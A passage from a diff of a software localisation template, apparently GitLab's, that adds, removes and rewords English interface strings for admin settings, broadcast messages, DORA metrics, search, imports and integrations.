-msgid_plural "%{thenLabelStart}Then%{thenLabelEnd} Require %{approvalsRequired} approvals from %{approverType}%{approvers}"
-msgstr[0] ""
-msgstr[1] ""
-
msgid "%{timebox_type} does not support burnup charts"
msgstr ""
@@ -1541,7 +1550,7 @@ msgstr[0] ""
msgstr[1] ""
msgid "1 user"
-msgid_plural "%{num} users"
+msgid_plural "%d users"
msgstr[0] ""
msgstr[1] ""
@@ -1768,6 +1777,9 @@ msgstr ""
msgid "A sign-in to your account has been made from the following IP address: %{ip}"
msgstr ""
+msgid "A template for starting a new TYPO3 project"
+msgstr ""
+
msgid "A title is required"
msgstr ""
@@ -1912,9 +1924,6 @@ msgstr ""
msgid "AWS secret access key (Optional)"
msgstr ""
-msgid "AWS service error: %{error}"
-msgstr ""
-
msgid "Abort"
msgstr ""
@@ -1963,9 +1972,6 @@ msgstr ""
msgid "Access denied for your LDAP account."
msgstr ""
-msgid "Access denied: %{error}"
-msgstr ""
-
msgid "Access expires"
msgstr ""
@@ -2125,7 +2131,7 @@ msgstr ""
msgid "Activate Service Desk"
msgstr ""
-msgid "Activated on"
+msgid "Activated"
msgstr ""
msgid "Active"
@@ -2203,6 +2209,9 @@ msgstr ""
msgid "Add a collapsible section"
msgstr ""
+msgid "Add a comment"
+msgstr ""
+
msgid "Add a comment to this line"
msgstr ""
@@ -2581,15 +2590,18 @@ msgstr ""
msgid "AdminArea|All users created in the instance, including users who are not %{billable_users_link_start}billable users%{billable_users_link_end}."
msgstr ""
-msgid "AdminArea|Billable users"
-msgstr ""
-
msgid "AdminArea|Blocked users"
msgstr ""
msgid "AdminArea|Bots"
msgstr ""
+msgid "AdminArea|Breakdown of Billable users"
+msgstr ""
+
+msgid "AdminArea|Breakdown of Non-Billable users"
+msgstr ""
+
msgid "AdminArea|Components"
msgstr ""
@@ -2671,9 +2683,18 @@ msgstr ""
msgid "AdminArea|Stopping jobs failed"
msgstr ""
+msgid "AdminArea|Total Billable users"
+msgstr ""
+
+msgid "AdminArea|Total Non-Billable users"
+msgstr ""
+
msgid "AdminArea|Total users"
msgstr ""
+msgid "AdminArea|Totals"
+msgstr ""
+
msgid "AdminArea|Updated %{last_update_time}"
msgstr ""
@@ -2701,6 +2722,12 @@ msgstr ""
msgid "AdminArea|You’re about to stop all jobs. This will halt all current jobs that are running."
msgstr ""
+msgid "AdminArea|active users + blocked users"
+msgstr ""
+
+msgid "AdminArea|total billable + total non-billable"
+msgstr ""
+
msgid "AdminDashboard|Error loading the statistics. Please try again"
msgstr ""
@@ -2755,6 +2782,9 @@ msgstr ""
msgid "AdminSettings|Auto DevOps domain"
msgstr ""
+msgid "AdminSettings|By default, set a limit to 0 to have no limit."
+msgstr ""
+
msgid "AdminSettings|CI/CD limits"
msgstr ""
@@ -2824,6 +2854,9 @@ msgstr ""
msgid "AdminSettings|Enable kuromoji custom analyzer: Search"
msgstr ""
+msgid "AdminSettings|Enable migrating GitLab groups and projects by direct transfer"
+msgstr ""
+
msgid "AdminSettings|Enable pipeline suggestion banner"
msgstr ""
@@ -2911,6 +2944,9 @@ msgstr ""
msgid "AdminSettings|Maximum number of custom domains per project"
msgstr ""
+msgid "AdminSettings|Maximum number of downstream pipelines in a pipeline's hierarchy tree"
+msgstr ""
+
msgid "AdminSettings|Maximum number of jobs in a single pipeline"
msgstr ""
@@ -2998,9 +3034,6 @@ msgstr ""
msgid "AdminSettings|Set a CI/CD template as the required pipeline configuration for all projects in the instance. Project CI/CD configuration merges into the required pipeline configuration when the pipeline runs. %{link_start}What is a required pipeline configuration?%{link_end}"
msgstr ""
-msgid "AdminSettings|Set limit to 0 to disable it."
-msgstr ""
-
msgid "AdminSettings|Set the expiration time of authentication tokens of newly registered group runners."
msgstr ""
@@ -3046,6 +3079,9 @@ msgstr ""
msgid "AdminSettings|There are Advanced Search migrations pending that require indexing to pause. Indexing must remain paused until GitLab completes the migrations."
msgstr ""
+msgid "AdminSettings|This limit cannot be disabled. Set to 0 to block all DAG dependencies."
+msgstr ""
+
msgid "AdminSettings|To enable Registration Features, first enable Service Ping."
msgstr ""
@@ -3292,7 +3328,7 @@ msgstr ""
msgid "AdminUsers|Is using seat"
msgstr ""
-msgid "AdminUsers|Issues authored by this user are hidden from other users."
+msgid "AdminUsers|Issues and merge requests authored by this user are hidden from other users."
msgstr ""
msgid "AdminUsers|It's you!"
@@ -3337,6 +3373,9 @@ msgstr ""
msgid "AdminUsers|Personal projects, group and user history will be left intact"
msgstr ""
+msgid "AdminUsers|Private profile"
+msgstr ""
+
msgid "AdminUsers|Quota of CI/CD minutes"
msgstr ""
@@ -3595,6 +3634,9 @@ msgstr ""
msgid "After it expires, you can't use merge approvals, epics, or many security features."
msgstr ""
+msgid "After the Apple App Store Connect integration is activated, the following protected variables will be created for CI/CD use."
+msgstr ""
+
msgid "After the export is complete, download the data file from a notification email or from this page. You can then import the data file from the %{strong_text_start}Create new group%{strong_text_end} page of another GitLab instance."
msgstr ""
@@ -4237,9 +4279,6 @@ msgstr ""
msgid "An error occurred while approving, please try again."
msgstr ""
-msgid "An error occurred while authorizing your role"
-msgstr ""
-
msgid "An error occurred while checking group path. Please refresh and try again."
msgstr ""
@@ -4408,15 +4447,6 @@ msgstr ""
msgid "An error occurred while loading projects."
msgstr ""
-msgid "An error occurred while loading the Jobs tab."
-msgstr ""
-
-msgid "An error occurred while loading the Needs tab."
-msgstr ""
-
-msgid "An error occurred while loading the Test Reports tab."
-msgstr ""
-
msgid "An error occurred while loading the blob controls."
msgstr ""
@@ -4450,9 +4480,6 @@ msgstr ""
msgid "An error occurred while loading the notification settings. Please try again."
msgstr ""
-msgid "An error occurred while loading the pipeline."
-msgstr ""
-
msgid "An error occurred while loading the pipelines jobs."
msgstr ""
@@ -4704,6 +4731,18 @@ msgstr ""
msgid "Append the comment with %{tableflip}"
msgstr ""
+msgid "AppleAppStore|The Apple App Store Connect Issuer ID."
+msgstr ""
+
+msgid "AppleAppStore|The Apple App Store Connect Key ID."
+msgstr ""
+
+msgid "AppleAppStore|The Apple App Store Connect Private Key."
+msgstr ""
+
+msgid "AppleAppStore|Use GitLab to build and release an app in the Apple App Store."
+msgstr ""
+
msgid "Application"
msgstr ""
@@ -4846,9 +4885,6 @@ msgstr ""
msgid "ApplicationSettings|Send a confirmation email during sign up. New users must confirm their email address before they can log in."
msgstr ""
-msgid "ApplicationSettings|Send confirmation email on sign-up"
-msgstr ""
-
msgid "ApplicationSettings|Sign-up enabled"
msgstr ""
@@ -4938,6 +4974,9 @@ msgstr ""
msgid "Applying suggestions..."
msgstr ""
+msgid "Approval options"
+msgstr ""
+
msgid "Approval rules"
msgstr ""
@@ -5078,6 +5117,9 @@ msgstr ""
msgid "Approvals are optional."
msgstr ""
+msgid "Approvals required"
+msgstr ""
+
msgid "Approvals|Section: %section"
msgstr ""
@@ -5629,6 +5671,9 @@ msgstr ""
msgid "AuditStreams|Custom HTTP headers (optional)"
msgstr ""
+msgid "AuditStreams|Defines which streaming events are captured"
+msgstr ""
+
msgid "AuditStreams|Delete %{link}"
msgstr ""
@@ -5644,12 +5689,18 @@ msgstr ""
msgid "AuditStreams|Edit %{link}"
msgstr ""
+msgid "AuditStreams|Event filtering (optional)"
+msgstr ""
+
msgid "AuditStreams|Header"
msgstr ""
msgid "AuditStreams|Maximum of %{number} HTTP headers has been reached."
msgstr ""
+msgid "AuditStreams|No filters available. %{linkStart}How do I add a filter?%{linkEnd}"
+msgstr ""
+
msgid "AuditStreams|Remove custom header"
msgstr ""
@@ -7221,9 +7272,93 @@ msgstr ""
msgid "Broadcast Messages"
msgstr ""
+msgid "BroadcastMessages|Add broadcast message"
+msgstr ""
+
+msgid "BroadcastMessages|Allow users to dismiss the broadcast message"
+msgstr ""
+
+msgid "BroadcastMessages|Banner"
+msgstr ""
+
+msgid "BroadcastMessages|Blue"
+msgstr ""
+
+msgid "BroadcastMessages|Dark"
+msgstr ""
+
+msgid "BroadcastMessages|Dismissable"
+msgstr ""
+
+msgid "BroadcastMessages|Ends at"
+msgstr ""
+
+msgid "BroadcastMessages|Green"
+msgstr ""
+
+msgid "BroadcastMessages|Indigo"
+msgstr ""
+
+msgid "BroadcastMessages|Light"
+msgstr ""
+
+msgid "BroadcastMessages|Light Blue"
+msgstr ""
+
+msgid "BroadcastMessages|Light Green"
+msgstr ""
+
+msgid "BroadcastMessages|Light Indigo"
+msgstr ""
+
+msgid "BroadcastMessages|Light Red"
+msgstr ""
+
+msgid "BroadcastMessages|Message"
+msgstr ""
+
+msgid "BroadcastMessages|Notification"
+msgstr ""
+
+msgid "BroadcastMessages|Paths can contain wildcards, like */welcome"
+msgstr ""
+
+msgid "BroadcastMessages|Red"
+msgstr ""
+
+msgid "BroadcastMessages|Starts at"
+msgstr ""
+
+msgid "BroadcastMessages|Target Path"
+msgstr ""
+
+msgid "BroadcastMessages|Target roles"
+msgstr ""
+
+msgid "BroadcastMessages|The broadcast message displays only to users in projects and groups who have these roles."
+msgstr ""
+
+msgid "BroadcastMessages|Theme"
+msgstr ""
+
+msgid "BroadcastMessages|There was an error adding broadcast message."
+msgstr ""
+
+msgid "BroadcastMessages|There was an error updating broadcast message."
+msgstr ""
+
msgid "BroadcastMessages|There was an issue deleting this message, please try again later."
msgstr ""
+msgid "BroadcastMessages|Type"
+msgstr ""
+
+msgid "BroadcastMessages|Update broadcast message"
+msgstr ""
+
+msgid "BroadcastMessages|Your message here"
+msgstr ""
+
msgid "Browse Directory"
msgstr ""
@@ -7820,6 +7955,9 @@ msgstr ""
msgid "Cannot promote issue due to insufficient permissions."
msgstr ""
+msgid "Cannot push to source branch"
+msgstr ""
+
msgid "Cannot refer to a group milestone by an internal id!"
msgstr ""
@@ -7931,13 +8069,10 @@ msgstr ""
msgid "Change your password or recover your current one"
msgstr ""
-msgid "ChangeReviewer|Reviewer changed from %{old} to %{new}"
-msgstr ""
-
-msgid "ChangeReviewer|Reviewer changed to %{new}"
+msgid "ChangeReviewer|%{added_reviewers_text}%{removed_reviewers_text}"
msgstr ""
-msgid "ChangeReviewer|Unassigned"
+msgid "ChangeReviewer|All reviewers were removed."
msgstr ""
msgid "ChangeTypeAction|Cherry-pick"
@@ -8220,6 +8355,9 @@ msgstr ""
msgid "Checkout|Country"
msgstr ""
+msgid "Checkout|Coupon code (optional)"
+msgstr ""
+
msgid "Checkout|Create a new group"
msgstr ""
@@ -8379,12 +8517,6 @@ msgstr ""
msgid "Child epic"
msgstr ""
-msgid "Child epic does not exist."
-msgstr ""
-
-msgid "Child epic doesn't exist."
-msgstr ""
-
msgid "Child issues and epics"
msgstr ""
@@ -8568,6 +8700,9 @@ msgstr ""
msgid "CiVariables|This %{entity} has %{currentVariableCount} defined CI/CD variables. The maximum number of variables per %{entity} is %{maxVariableLimit}. To add new variables, you must reduce the number of defined variables."
msgstr ""
+msgid "CiVariables|Trigger this manual action"
+msgstr ""
+
msgid "CiVariables|Type"
msgstr ""
@@ -8693,6 +8828,9 @@ msgstr ""
msgid "Click the link below to confirm your email address."
msgstr ""
+msgid "Click to expand"
+msgstr ""
+
msgid "Click to expand it."
msgstr ""
@@ -8795,12 +8933,18 @@ msgstr ""
msgid "Closed this %{quick_action_target}."
msgstr ""
+msgid "Closed this issue. Marked as related to, and a duplicate of, %{duplicate_param}."
+msgstr ""
+
msgid "Closed: %{closed}"
msgstr ""
msgid "Closes this %{quick_action_target}."
msgstr ""
+msgid "Closes this issue. Marks as related to, and a duplicate of, %{duplicate_reference}."
+msgstr ""
+
msgid "Cloud Run"
msgstr ""
@@ -9466,21 +9610,6 @@ msgstr ""
msgid "ClusterIntegration|Every new Google Cloud Platform (GCP) account receives $300 in credit upon %{sign_up_link}. In partnership with Google, GitLab is able to offer an additional $200 for both new and existing GCP accounts to get started with GitLab's Google Kubernetes Engine Integration."
msgstr ""
-msgid "ClusterIntegration|Failed to configure EKS provider: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to configure Google Kubernetes Engine Cluster: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to fetch CloudFormation stack: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to request to Google Cloud Platform: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to run Kubeclient: %{message}"
-msgstr ""
-
msgid "ClusterIntegration|GitLab Integration"
msgstr ""
@@ -9969,6 +10098,9 @@ msgstr ""
msgid "Committed by"
msgstr ""
+msgid "CommonJS module"
+msgstr ""
+
msgid "Community forum"
msgstr ""
@@ -10860,6 +10992,9 @@ msgstr ""
msgid "Continue to the next step"
msgstr ""
+msgid "Continue with overages"
+msgstr ""
+
msgid "Continuous Integration and Deployment"
msgstr ""
@@ -11253,6 +11388,9 @@ msgstr ""
msgid "Country"
msgstr ""
+msgid "Counts"
+msgstr ""
+
msgid "Counts reflect children you may not have access to."
msgstr ""
@@ -12149,6 +12287,9 @@ msgstr ""
msgid "CycleAnalytics|project dropdown filter"
msgstr ""
+msgid "CycleAnalytics|the assigned object is not supported"
+msgstr ""
+
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
@@ -12173,6 +12314,9 @@ msgstr ""
msgid "DORA4Metrics|Average (last %{days}d)"
msgstr ""
+msgid "DORA4Metrics|Average number of deployments to production per day. This metric measures how often value is delivered to end users."
+msgstr ""
+
msgid "DORA4Metrics|Change Failure Rate"
msgstr ""
@@ -12185,7 +12329,10 @@ msgstr ""
msgid "DORA4Metrics|Cycle time"
msgstr ""
-msgid "DORA4Metrics|DORA metrics for %{groupName} group"
+msgid "DORA4Metrics|DORA metrics for %{name} group"
+msgstr ""
+
+msgid "DORA4Metrics|DORA metrics for %{name} project"
msgstr ""
msgid "DORA4Metrics|Date"
@@ -12206,6 +12353,12 @@ msgstr ""
msgid "DORA4Metrics|Deploys"
msgstr ""
+msgid "DORA4Metrics|Failed to load charts"
+msgstr ""
+
+msgid "DORA4Metrics|Go to docs"
+msgstr ""
+
msgid "DORA4Metrics|Lead Time for Changes"
msgstr ""
@@ -12227,6 +12380,12 @@ msgstr ""
msgid "DORA4Metrics|Median time an incident was open in a production environment over the given time period."
msgstr ""
+msgid "DORA4Metrics|Median time from issue created to issue closed."
+msgstr ""
+
+msgid "DORA4Metrics|Median time from the earliest commit of a linked issue's merge request to when that issue is closed."
+msgstr ""
+
msgid "DORA4Metrics|Month to date"
msgstr ""
@@ -12245,6 +12404,15 @@ msgstr ""
msgid "DORA4Metrics|Number of incidents divided by the number of deployments to a production environment in the given time period."
msgstr ""
+msgid "DORA4Metrics|Number of new issues created."
+msgstr ""
+
+msgid "DORA4Metrics|Past 6 Months"
+msgstr ""
+
+msgid "DORA4Metrics|Percentage of deployments that cause an incident in production."
+msgstr ""
+
msgid "DORA4Metrics|Percentage of failed deployments"
msgstr ""
@@ -12266,6 +12434,12 @@ msgstr ""
msgid "DORA4Metrics|The chart displays the median time between a merge request being merged and deployed to production environment(s) that are based on the %{linkStart}deployment_tier%{linkEnd} value."
msgstr ""
+msgid "DORA4Metrics|The time it takes an organization to recover from a failure in production."
+msgstr ""
+
+msgid "DORA4Metrics|The time to successfully deliver a commit into production. This metric reflects the efficiency of CI/CD pipelines."
+msgstr ""
+
msgid "DORA4Metrics|Time to Restore Service"
msgstr ""
@@ -12275,6 +12449,9 @@ msgstr ""
msgid "DORA4Metrics|Time to restore service (median days)"
msgstr ""
+msgid "DORA4Metrics|Total number of deploys to production."
+msgstr ""
+
msgid "DSN"
msgstr ""
@@ -12290,9 +12467,6 @@ msgstr ""
msgid "DashboardProjects|Personal"
msgstr ""
-msgid "DashboardProjects|Trending"
-msgstr ""
-
msgid "Dashboards"
msgstr ""
@@ -13210,11 +13384,10 @@ msgstr ""
msgid "DeletionSettings|Keep deleted"
msgstr ""
-msgid "DeletionSettings|Keep deleted projects for %{number} days"
-msgstr ""
-
-msgid "DeletionSettings|Keep deleted projects for 1 day"
-msgstr ""
+msgid "DeletionSettings|Keep deleted projects for %{number} day"
+msgid_plural "DeletionSettings|Keep deleted projects for %{number} days"
+msgstr[0] ""
+msgstr[1] ""
msgid "DeletionSettings|None, delete immediately"
msgstr ""
@@ -13279,6 +13452,9 @@ msgstr ""
msgid "Dependencies|Dependency path"
msgstr ""
+msgid "Dependencies|Error exporting the dependency list. Please reload the page."
+msgstr ""
+
msgid "Dependencies|Export as JSON"
msgstr ""
@@ -13660,9 +13836,15 @@ msgstr ""
msgid "Deployment Target|Select the deployment target"
msgstr ""
+msgid "Deployment approvals is not configured for this environment."
+msgstr ""
+
msgid "Deployment frequency"
msgstr ""
+msgid "DeploymentApprovals|Allow pipeline triggerer to approve deployment."
+msgstr ""
+
msgid "DeploymentApprovals|Approvals"
msgstr ""
@@ -13678,6 +13860,12 @@ msgstr ""
msgid "DeploymentApprovals|Maintainers"
msgstr ""
+msgid "DeploymentApprovals|Set how approval rules are applied to deployments in protected environments."
+msgstr ""
+
+msgid "DeploymentApprovals|When a pipeline runs, deployment jobs will automatically be approved in the pipeline if the triggerer is allowed to approve."
+msgstr ""
+
msgid "DeploymentApproval| Current approvals: %{current}"
msgstr ""
@@ -13761,6 +13949,12 @@ msgid_plural "Deployments|%{deployments} environments impacted."
msgstr[0] ""
msgstr[1] ""
+msgid "Deployments|Define environments in the deploy stage(s) in %{code_open}.gitlab-ci.yml%{code_close} to track deployments here."
+msgstr ""
+
+msgid "Deployments|You don't have any deployments right now."
+msgstr ""
+
msgid "Deployment|API"
msgstr ""
@@ -14030,7 +14224,7 @@ msgstr ""
msgid "DevOps adoption"
msgstr ""
-msgid "DevOps metrics comparison (Alpha)"
+msgid "DevOps metrics comparison (Beta)"
msgstr ""
msgid "Developer"
@@ -14255,6 +14449,9 @@ msgstr ""
msgid "Difference between start date and now"
msgstr ""
+msgid "Different user's signature"
+msgstr ""
+
msgid "DiffsCompareBaseBranch|(HEAD)"
msgstr ""
@@ -14746,6 +14943,9 @@ msgstr ""
msgid "E-mail:"
msgstr ""
+msgid "ESM module"
+msgstr ""
+
msgid "Each project can also have an issue tracker and a wiki."
msgstr ""
@@ -15943,10 +16143,7 @@ msgstr ""
msgid "Error: Couldn't load some or all of the changes."
msgstr ""
-msgid "Error: No AWS credentials were supplied"
-msgstr ""
-
-msgid "Error: No AWS provision role found for user"
+msgid "Error: Gitaly is unavailable. Contact your administrator."
msgstr ""
msgid "Error: Unable to create deploy freeze"
@@ -15955,9 +16152,6 @@ msgstr ""
msgid "Error: Unable to delete deploy freeze"
msgstr ""
-msgid "Error: Unable to find AWS role for current user"
-msgstr ""
-
msgid "ErrorTracking|Access token is %{token_in_code_tag}"
msgstr ""
@@ -16455,9 +16649,6 @@ msgstr ""
msgid "Expires %{preposition} %{expires_at}"
msgstr ""
-msgid "Expires on"
-msgstr ""
-
msgid "Expires:"
msgstr ""
@@ -16491,9 +16682,6 @@ msgstr ""
msgid "Explore snippets"
msgstr ""
-msgid "Explore topics"
-msgstr ""
-
msgid "Export"
msgstr ""
@@ -16813,9 +17001,6 @@ msgstr ""
msgid "Failed to move this issue because target project doesn't exist."
msgstr ""
-msgid "Failed to promote issue to incident"
-msgstr ""
-
msgid "Failed to promote label due to internal error. Please contact administrators."
msgstr ""
@@ -17241,9 +17426,6 @@ msgstr ""
msgid "Filter by %{page_context_word} that are currently open."
msgstr ""
-msgid "Filter by Git revision"
-msgstr ""
-
msgid "Filter by issues that are currently closed."
msgstr ""
@@ -17562,16 +17744,13 @@ msgstr ""
msgid "ForksDivergence|%{messages} upstream repository"
msgstr ""
-msgid "ForksDivergence|Up to date with upstream repository"
-msgstr ""
-
-msgid "Format: %{dateFormat}"
+msgid "ForksDivergence|Fork has diverged from upstream repository"
msgstr ""
-msgid "Found errors in your %{gitlab_ci_yml}:"
+msgid "ForksDivergence|Up to date with upstream repository"
msgstr ""
-msgid "Found errors in your .gitlab-ci.yml:"
+msgid "Format: %{dateFormat}"
msgstr ""
msgid "Framework successfully deleted"
@@ -17669,6 +17848,9 @@ msgstr ""
msgid "GPG Keys"
msgstr ""
+msgid "GPG key mismatch"
+msgstr ""
+
msgid "GPG keys allow you to verify signed commits."
msgstr ""
@@ -18327,9 +18509,6 @@ msgstr ""
msgid "Git"
msgstr ""
-msgid "Git GC period"
-msgstr ""
-
msgid "Git LFS Rate Limits"
msgstr ""
@@ -18743,6 +18922,9 @@ msgstr ""
msgid "Global Shortcuts"
msgstr ""
+msgid "Global notification email"
+msgstr ""
+
msgid "Global notification level"
msgstr ""
@@ -18755,6 +18937,12 @@ msgstr ""
msgid "GlobalSearch|%{count} default results provided. Use the up and down arrow keys to navigate search results list."
msgstr ""
+msgid "GlobalSearch|Close"
+msgstr ""
+
+msgid "GlobalSearch|Group"
+msgstr ""
+
msgid "GlobalSearch|Groups"
msgstr ""
@@ -18779,6 +18967,9 @@ msgstr ""
msgid "GlobalSearch|Merge requests that I'm a reviewer"
msgstr ""
+msgid "GlobalSearch|Project"
+msgstr ""
+
msgid "GlobalSearch|Projects"
msgstr ""
@@ -18797,6 +18988,9 @@ msgstr ""
msgid "GlobalSearch|Results updated. %{count} results available. Use the up and down arrow keys to navigate search results list, or ENTER to submit."
msgstr ""
+msgid "GlobalSearch|Search"
+msgstr ""
+
msgid "GlobalSearch|Search GitLab"
msgstr ""
@@ -18809,9 +19003,15 @@ msgstr ""
msgid "GlobalSearch|Settings"
msgstr ""
+msgid "GlobalSearch|Syntax options"
+msgstr ""
+
msgid "GlobalSearch|There was an error fetching search autocomplete suggestions."
msgstr ""
+msgid "GlobalSearch|There was an error fetching the \"Syntax Options\" document."
+msgstr ""
+
msgid "GlobalSearch|Type and press the enter key to submit search."
msgstr ""
@@ -19136,6 +19336,12 @@ msgstr ""
msgid "Group %{group_name} was successfully created."
msgstr ""
+msgid "Group '%{group_name}' could not be updated."
+msgstr ""
+
+msgid "Group '%{group_name}' was successfully updated."
+msgstr ""
+
msgid "Group Access Tokens"
msgstr ""
@@ -19298,7 +19504,7 @@ msgstr ""
msgid "GroupActivityMetrics|Recent activity"
msgstr ""
-msgid "GroupImport|Failed to import group."
+msgid "GroupImport|Failed to import group: %{error}"
msgstr ""
msgid "GroupImport|Group '%{group_name}' is being imported."
@@ -19781,9 +19987,15 @@ msgstr ""
msgid "GroupsEmptyState|If you organize your projects under a group, it works like a folder."
msgstr ""
+msgid "GroupsEmptyState|No archived projects."
+msgstr ""
+
msgid "GroupsEmptyState|No groups found"
msgstr ""
+msgid "GroupsEmptyState|No shared projects."
+msgstr ""
+
msgid "GroupsEmptyState|No subgroups or projects."
msgstr ""
@@ -19838,6 +20050,9 @@ msgstr ""
msgid "GroupsNew|Import groups from another instance of GitLab"
msgstr ""
+msgid "GroupsNew|Importing groups by direct transfer is currently disabled."
+msgstr ""
+
msgid "GroupsNew|No import options available"
msgstr ""
@@ -19847,6 +20062,12 @@ msgstr ""
msgid "GroupsNew|Personal access token"
msgstr ""
+msgid "GroupsNew|Please %{admin_link_start}enable it in the Admin settings%{admin_link_end}."
+msgstr ""
+
+msgid "GroupsNew|Please ask your Administrator to enable it in the Admin settings."
+msgstr ""
+
msgid "GroupsNew|Please fill in GitLab source URL."
msgstr ""
@@ -19856,6 +20077,9 @@ msgstr ""
msgid "GroupsNew|Provide credentials for another instance of GitLab to import your groups directly."
msgstr ""
+msgid "GroupsNew|Remember to enable it also on the instance you are migrating from."
+msgstr ""
+
msgid "GroupsNew|This feature is deprecated and replaced by %{docs_link_start}group migration%{docs_link_end}."
msgstr ""
@@ -19973,6 +20197,9 @@ msgstr ""
msgid "HAR file path or URL"
msgstr ""
+msgid "HTML script tag"
+msgstr ""
+
msgid "HTTP Archive (HAR)"
msgstr ""
@@ -20284,6 +20511,12 @@ msgstr ""
msgid "Hierarchy|Planning hierarchy"
msgstr ""
+msgid "Hierarchy|Something went wrong while fetching children."
+msgstr ""
+
+msgid "Hierarchy|Something went wrong while removing a child item."
+msgstr ""
+
msgid "Hierarchy|Take the work items survey"
msgstr ""
@@ -20698,9 +20931,6 @@ msgstr ""
msgid "If no options are selected, only administrators can register runners."
msgstr ""
-msgid "If none of the options work, try contacting a GitLab administrator."
-msgstr ""
-
msgid "If the number of active users exceeds the user limit, you will be charged for the number of %{users_over_license_link} at your next license reconciliation."
msgstr ""
@@ -20722,6 +20952,9 @@ msgstr ""
msgid "If you add %{codeStart}needs%{codeEnd} to jobs in your pipeline you'll be able to view the %{codeStart}needs%{codeEnd} relationships between jobs in this tab as a %{linkStart}Directed Acyclic Graph (DAG)%{linkEnd}."
msgstr ""
+msgid "If you are unable to sign in or recover your password, contact a GitLab administrator."
+msgstr ""
+
msgid "If you did not initiate these sign-in attempts, please reach out to your administrator or enable two-factor authentication (2FA) on your account."
msgstr ""
@@ -20942,12 +21175,24 @@ msgstr ""
msgid "ImportProjects|Blocked import URL: %{message}"
msgstr ""
+msgid "ImportProjects|Cancel import"
+msgstr ""
+
+msgid "ImportProjects|Cancelling project import failed"
+msgstr ""
+
+msgid "ImportProjects|Cancelling project import failed: %{reason}"
+msgstr ""
+
msgid "ImportProjects|Error importing repository %{project_safe_import_url} into %{project_full_path} - %{message}"
msgstr ""
msgid "ImportProjects|Import repositories"
msgstr ""
+msgid "ImportProjects|Imported files will be kept. You can import this repository again later."
+msgstr ""
+
msgid "ImportProjects|Importing the project failed"
msgstr ""
@@ -22006,7 +22251,7 @@ msgstr ""
msgid "Insights|Configure a custom report for insights into your group processes such as amount of issues, bugs, and merge requests per month. %{linkStart}How do I configure an insights report?%{linkEnd}"
msgstr ""
-msgid "Insights|Some items are not visible beacuse the project was filtered out in the insights.yml file (see the projects.only config for more information)."
+msgid "Insights|Some items are not visible beacuse the project was filtered out in the insights.yml file (see the projects.only config in the YAML file or the enabled project features (issues, merge requests) in the project settings)."
msgstr ""
msgid "Insights|This project is filtered out in the insights.yml file (see the projects.only config for more information)."
@@ -22068,9 +22313,18 @@ msgstr ""
msgid "IntegrationEvents|A confidential issue is created, updated, or closed"
msgstr ""
+msgid "IntegrationEvents|A deployment is started or finished"
+msgstr ""
+
msgid "IntegrationEvents|A merge request is created, updated, or merged"
msgstr ""
+msgid "IntegrationEvents|A new, unique alert is recorded"
+msgstr ""
+
+msgid "IntegrationEvents|A new, unique, vulnerability is recorded. (Note: This feature requires an Ultimate plan)"
+msgstr ""
+
msgid "IntegrationEvents|A pipeline status changes"
msgstr ""
@@ -22221,6 +22475,9 @@ msgstr ""
msgid "Integrations|Instance-level integration management"
msgstr ""
+msgid "Integrations|Integration details"
+msgstr ""
+
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
msgstr ""
@@ -23423,6 +23680,9 @@ msgstr ""
msgid "JiraService|Change GitLab version"
msgstr ""
+msgid "JiraService|Continue setup in GitLab"
+msgstr ""
+
msgid "JiraService|Define the type of Jira issue to create from a vulnerability."
msgstr ""
@@ -23471,6 +23731,9 @@ msgstr ""
msgid "JiraService|If different from Web URL."
msgstr ""
+msgid "JiraService|In order to complete the set up, you’ll need to complete a few steps in GitLab."
+msgstr ""
+
msgid "JiraService|Issues created from vulnerabilities in this project will be Jira issues, even if GitLab issues are enabled."
msgstr ""
@@ -23615,9 +23878,6 @@ msgstr ""
msgid "Jobs|All"
msgstr ""
-msgid "Jobs|An error occurred while loading the Failed Jobs tab."
-msgstr ""
-
msgid "Jobs|Are you sure you want to proceed?"
msgstr ""
@@ -23933,9 +24193,6 @@ msgstr ""
msgid "Kubernetes cluster"
msgstr ""
-msgid "Kubernetes cluster creation time exceeds timeout; %{timeout}"
-msgstr ""
-
msgid "Kubernetes cluster integration and resources are being removed."
msgstr ""
@@ -24096,9 +24353,6 @@ msgstr ""
msgid "Last Seen"
msgstr ""
-msgid "Last Sync"
-msgstr ""
-
msgid "Last Used"
msgstr ""
@@ -24231,6 +24485,9 @@ msgstr ""
msgid "Learn More."
msgstr ""
+msgid "Learn about signing commits"
+msgstr ""
+
msgid "Learn about signing commits with SSH keys."
msgstr ""
@@ -24300,9 +24557,6 @@ msgstr ""
msgid "Learn more about shards and replicas in the %{configuration_link_start}Advanced Search configuration%{configuration_link_end} documentation. Changes don't take place until you %{recreated_link_start}recreate%{recreated_link_end} the index."
msgstr ""
-msgid "Learn more about signing commits"
-msgstr ""
-
msgid "Learn more in the"
msgstr ""
@@ -25056,6 +25310,9 @@ msgstr ""
msgid "Make everyone on your team more productive regardless of their location. GitLab Geo creates read-only mirrors of your GitLab instance so you can reduce the time it takes to clone and fetch large repos."
msgstr ""
+msgid "Make new users' profiles private by default"
+msgstr ""
+
msgid "Make sure you choose a strong, unique password."
msgstr ""
@@ -25071,9 +25328,6 @@ msgstr ""
msgid "Manage %{workspace} labels"
msgstr ""
-msgid "Manage Dashboards"
-msgstr ""
-
msgid "Manage Web IDE features."
msgstr ""
@@ -25173,6 +25427,9 @@ msgstr ""
msgid "Mark to do as done"
msgstr ""
+msgid "Markdown"
+msgstr ""
+
msgid "Markdown Help"
msgstr ""
@@ -25242,9 +25499,6 @@ msgstr ""
msgid "Marked this %{noun} as ready."
msgstr ""
-msgid "Marked this issue as a duplicate of %{duplicate_param}."
-msgstr ""
-
msgid "Marked this issue as related to %{issue_ref}."
msgstr ""
@@ -25257,9 +25511,6 @@ msgstr ""
msgid "Marks this %{noun} as ready."
msgstr ""
-msgid "Marks this issue as a duplicate of %{duplicate_reference}."
-msgstr ""
-
msgid "Marks this issue as related to %{issue_ref}."
msgstr ""
@@ -25599,6 +25850,9 @@ msgstr ""
msgid "MemberRole|can't be changed"
msgstr ""
+msgid "MemberRole|cannot be changed because it is already assigned to a user. Please create a new Member Role instead"
+msgstr ""
+
msgid "MemberRole|must be top-level namespace"
msgstr ""
@@ -25636,6 +25890,9 @@ msgstr[1] ""
msgid "Membership"
msgstr ""
